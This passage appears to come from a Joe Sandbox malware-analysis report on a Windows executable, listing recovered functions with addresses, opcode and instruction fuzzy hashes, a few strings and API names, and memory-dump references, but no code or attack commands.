Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 768132f209fad99936151e5971b7a71c7f1c569ad84797471c6492c5d3e51a18
Instruction ID: 1e2b789d35b4a4a46972f2804f1abe83601d42840b15a240ba92f28baed2b5aa
Opcode Fuzzy Hash: 768132f209fad99936151e5971b7a71c7f1c569ad84797471c6492c5d3e51a18
Instruction Fuzzy Hash: 1891B572A082C68BF7B49B1AD448B7E3BADFF44358F114179DA4A86791CF78E940CB41

Function 00007FF6929FEF58 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF6929FF065
gfff, xrefs: 00007FF6929FF0E2

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 8b6ee54fbb186269fe71b90b1026ad24f386125e73444afbdf5cadaf5bd6b187
Instruction ID: e300e1c8e79de05b4d20b7b4020d0ccd7138d8ae54b192092f77686571b0a924
Opcode Fuzzy Hash: 8b6ee54fbb186269fe71b90b1026ad24f386125e73444afbdf5cadaf5bd6b187
Instruction Fuzzy Hash: 9C517C63B182C546F7708F36E8007AA6B91E755B98F0C8271DBA8C7AC6CFBDD8408700

Function 00007FF6929FEAC4 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF6929FEE06

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: 1e22957b1159dd03df7ccd337d5a67203babfefd7ac1e182ea12ea91d3eef3d6
Instruction ID: 268a0cbad8900d1f49aaac1aa89288baf55a51146fc6de32c5b69e0dfad59f31
Opcode Fuzzy Hash: 1e22957b1159dd03df7ccd337d5a67203babfefd7ac1e182ea12ea91d3eef3d6
Instruction Fuzzy Hash: 3CA12963A0878546FB72CF26B4107EA7B91EB58788F048172EE8D87786DE7DD901D701

Function 00007FF6929F9670 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF6929F968F

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 99790e8c3e6fb60506200e2aa0b8d900239d419619a9b9dba0657c5dbd7d84e4
Instruction ID: beb6fa411990e610cd52e37cdd1a2467698a315a9efd82ed4c5a1c90d77edeef
Opcode Fuzzy Hash: 99790e8c3e6fb60506200e2aa0b8d900239d419619a9b9dba0657c5dbd7d84e4
Instruction Fuzzy Hash: B0515E15B0874241FAB8AB2B55111FB5791EF45BCCF4844B5EE0EC7797EEBCE846A200

Function 00007FF692A04690 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF692A04694

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8d8bf03bc1d3c2add78311a657f4b90d934f15b0b18570f2c87e070252fc9345
Instruction ID: 05ffa2d787febb9ec75e829464f7952b1a4a1e3fe3830b0e85e405f7c5686c2a
Opcode Fuzzy Hash: 8d8bf03bc1d3c2add78311a657f4b90d934f15b0b18570f2c87e070252fc9345
Instruction Fuzzy Hash: 38B09222E17A02C6FB5C2F526C8621423A8FF48714F9440B8C00D81320DE6C21A65710

Function 00007FF6929F3F2C Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 452a8a0d8feebdf1122eaccf447c44c0daa3d090f9a155463ed8f505442a48ba
Instruction ID: a8d2f7d2c686320af11d6508078ebbd9a5fda42672aa5ba40b551d8087bae97b
Opcode Fuzzy Hash: 452a8a0d8feebdf1122eaccf447c44c0daa3d090f9a155463ed8f505442a48ba
Instruction Fuzzy Hash: 39E1B326A0824281FBB48A2781403BF27A1FF51B5CF196175EF0D87796CEB9EC59E340

Function 00007FF6929F36F0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1d7b7b3454c8bcad5c9b4cf135b982f8fa5d1e780f0237f0391cdb5e6506841
Instruction ID: 9ba21f4115a84bb85833b249f82bff7a163096ea27ccf289e79be8261e5702a1
Opcode Fuzzy Hash: c1d7b7b3454c8bcad5c9b4cf135b982f8fa5d1e780f0237f0391cdb5e6506841
Instruction Fuzzy Hash: DDE1C372A0868285F7F48A2BC1543FA2791EB45B5CF148275EE4D866D6CFACEC81E344

Function 00007FF6929F3B28 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cd5c4a82e290d99fc75fabc4b345746dc03237e35c2450d1ffc439358ea8dbf
Instruction ID: 5a926cdd49d780b9b5ccc927cbf7c0946cd5abd99aea383856def1eacd27cc5a
Opcode Fuzzy Hash: 5cd5c4a82e290d99fc75fabc4b345746dc03237e35c2450d1ffc439358ea8dbf
Instruction Fuzzy Hash: 4BD1BA22A0868286FBB88E2B84502BF2790EF45B4CF144275EE1D876D6DFBDDC55E344

Function 00007FF6929E8D60 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35751a9e422b3a2b47e876a48a130e726752458af00060ec1017eb4795a0a546
Instruction ID: 005c7e97aa45cda120d623923a117310a673694097fccb4d0fa6d038975060fe
Opcode Fuzzy Hash: 35751a9e422b3a2b47e876a48a130e726752458af00060ec1017eb4795a0a546
Instruction Fuzzy Hash: 7BC1DAB22141E14BD299DB29E46957B73E1F79838DBC4803ADF8747B85CA3CE014D751

Function 00007FF6929F23C0 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f16fb8a4f792395a96249c32a5e1723cb20c7f6a9977c10f3922fef282cb15bd
Instruction ID: fb7e0a5f57b7b35491d68bd2788ee4d7cd64fc400683a543d83340f67d251b63
Opcode Fuzzy Hash: f16fb8a4f792395a96249c32a5e1723cb20c7f6a9977c10f3922fef282cb15bd
Instruction Fuzzy Hash: 2EB15D72A0864585F7B48F3AC0643BE3BA0EB45B4CF544176EA4D87396DFA9DC40E750

Function 00007FF6929F2758 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67ea6f0edc2c58364f58995ddce025b390f3c278012a74096240329ea132a1c8
Instruction ID: 7b4b0901c93c839a171da654f25b597b236b21e943c8d596a1efc5ddac48b8b8
Opcode Fuzzy Hash: 67ea6f0edc2c58364f58995ddce025b390f3c278012a74096240329ea132a1c8
Instruction Fuzzy Hash: 49B15E7291878585F7B58F3AC0502BE3BA0E749B4CFA401B5EA4E87396CFB9D841E740

Function 00007FF6929FF5D8 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 847d6bf65b96cba8c7d30e9d62c328f88bdcc6dffd0926808ea1049b5e5cea66
Instruction ID: 52db46e7b8d10d64f1e703641472595db7ff18d359177e71c9fa7c48ca16b6c5
Opcode Fuzzy Hash: 847d6bf65b96cba8c7d30e9d62c328f88bdcc6dffd0926808ea1049b5e5cea66
Instruction Fuzzy Hash: 5281B872A0878146FBB4CF1AA4403AA6B91FB46798F144275EB9D87BD6DF7DD8009B00

Function 00007FF692A07628 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b59436847b04fb0d62a580c32b85b0eb8f16ff054c2966653e54822e0f4ea234
Instruction ID: 8d0909af1cd293cbcf644341ba829c1399c298050ab4c3480bbba01eadb2af31
Opcode Fuzzy Hash: b59436847b04fb0d62a580c32b85b0eb8f16ff054c2966653e54822e0f4ea234
Instruction Fuzzy Hash: 3061F523F4C28286F7748B298C5427D6681EF423A8F5442B9EA1EC6AD1DEFDEC44C700

Function 00007FF6929F12CC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 9fd99418438f550c8237b27ed0665e2daa9d2c52dd79d0c85905552d4e874285
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: F0518636A1865181FB748B2AC0503B937A0EB44B6CF244171DE4D97B96CFBAEC43D780

Function 00007FF6929F16DC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: dfb02dd8916a2b67736cc3a7a9f6d3679b4167867b2367a8f09a43508116d53b
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 2B51A936A1465182F7748B2AC0502BA33A0EB44B6CF244171EE4D97796DF7AEC43D7C0

Function 00007FF6929F0EBC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 0999aa4620e6c2574aec7144d0b6fde8b888175bee150a851322226c3bf0812f
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: BD51DC32A1565182F7748F2AC0502BA33A4EB44B6CF254171EE4D9779ACF7AEC43D780

Function 00007FF6929F14D8 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7710b6301a9c53c0f35ccf6fc131232db227f89fb6367f1206a3fe51f4b04988
Instruction ID: c5fff4826edfa3bb56af7519ac615d45d0ba4c5e0003f49aef7b1a162e1e6a1e
Opcode Fuzzy Hash: 7710b6301a9c53c0f35ccf6fc131232db227f89fb6367f1206a3fe51f4b04988
Instruction Fuzzy Hash: 0F519736A1865186F7B48B2AC0442BA37A0EB44B5CF284171EE4D97796CF7AEC42D7C0

Function 00007FF6929F0CB8 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b300af1d1946d5df55db44b3d4e0876ae34829a82d49cb6751e26c04e9c1898
Instruction ID: 6ea6388c1c2f9e4f3b9fd455db1f330d1676f81ea3b0b6b3d1439d3bed8bbb30
Opcode Fuzzy Hash: 3b300af1d1946d5df55db44b3d4e0876ae34829a82d49cb6751e26c04e9c1898
Instruction Fuzzy Hash: BE51C337A2965182F7B48B2AC0402AE37A4EB44B5CF244071EE4C8779ADF7AEC52D740

Function 00007FF6929F10C8 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c9c7dfd85d7e05c9dc9b7e40d932aad9843605f203f1a6a08d3cc10701c718b
Instruction ID: 701ab7c0c173e3fd7a8ec426cece02b301e0ce060b09e8e9bf4ce07e77ea2fea
Opcode Fuzzy Hash: 7c9c7dfd85d7e05c9dc9b7e40d932aad9843605f203f1a6a08d3cc10701c718b
Instruction Fuzzy Hash: FD517036B1865186F7B48B2AC0402BA27B0EB45B5CF244171EE4D97796DF7AEC42E7C0

Function 00007FF6929F6C90 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: d8b56d4eba94acdb7f537fe38069510fde3be279adfcbce77b56082100087e52
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: C741B353C4978E05FAF58D5B89006F62B80DF62BA8D2852F0EDB9D33D3DD4D6DA6A100

Function 00007FF6929FADC0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8ebaae5e878847fb0972dee39ef615be72aee41a86628d284291b13d6747971f
Instruction ID: 71aa1ac439aa405fe6ca137f1533a169d87483e00d836203663fefb3c62f36da
Opcode Fuzzy Hash: 8ebaae5e878847fb0972dee39ef615be72aee41a86628d284291b13d6747971f
Instruction Fuzzy Hash: 1C41E263718A5482FF54CF2AD9145AA73A1FB48FC8B099032EE0DD7B55DE7CD4428304

Function 00007FF6929F8FC0 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b4b82ba6feb1f2c625fcdd7b78fc6310e7e433b3778e25011fb45a65c2c329c
